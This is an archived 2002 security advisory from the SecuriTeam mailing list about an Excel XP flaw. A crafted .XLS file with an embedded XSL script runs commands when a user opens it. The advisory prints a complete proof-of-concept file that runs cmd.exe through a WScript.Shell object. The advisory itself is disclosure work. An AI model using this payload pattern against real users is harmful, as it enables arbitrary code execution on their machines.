

[NT] Excel XP XML Stylesheet Security Problem

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0099.html>

From: support@securiteam.com

Date: 05/25/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 25 May 2002 22:08:26 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Excel XP XML Stylesheet Security Problem

SUMMARY

Excel XP provides an interface to such new technologies as XML and XSLT. Unfortunately the Excel implementation flawed allowing an attacker to cause a user opening an .XLS file to cause him to execute arbitrary code.

DETAILS

Consider this XLS file

```
-----xls_sux.xls-----
<?xml version="1.0"?>
<?xml-stYLESHEET type="text/xsl" href="#?m$sux" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:script>
<![CDATA[ x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\SYSTEM32\CMD.EXE /C DIR C:\\ /a /p /s"); ]]>
</xsl:script>
<msux>
msux
written by georgi guninski
</msux>
</xsl:stylesheet>
```

Securiteam: [NT] Excel XP XML Stylesheet Security Problem

It contains both XML and a stylesheet in one file.

Note:

Excel does not give any warning to the user – just asks whether to use the style sheet or not. The default option is not to display it with the stylesheet.

ADDITIONAL INFORMATION

The information has been provided by <mailto:guninski@guninski.com>
Georgi Guninski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Opty-Way Enterprise Includes MSDE with Blank 'sa' Account"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)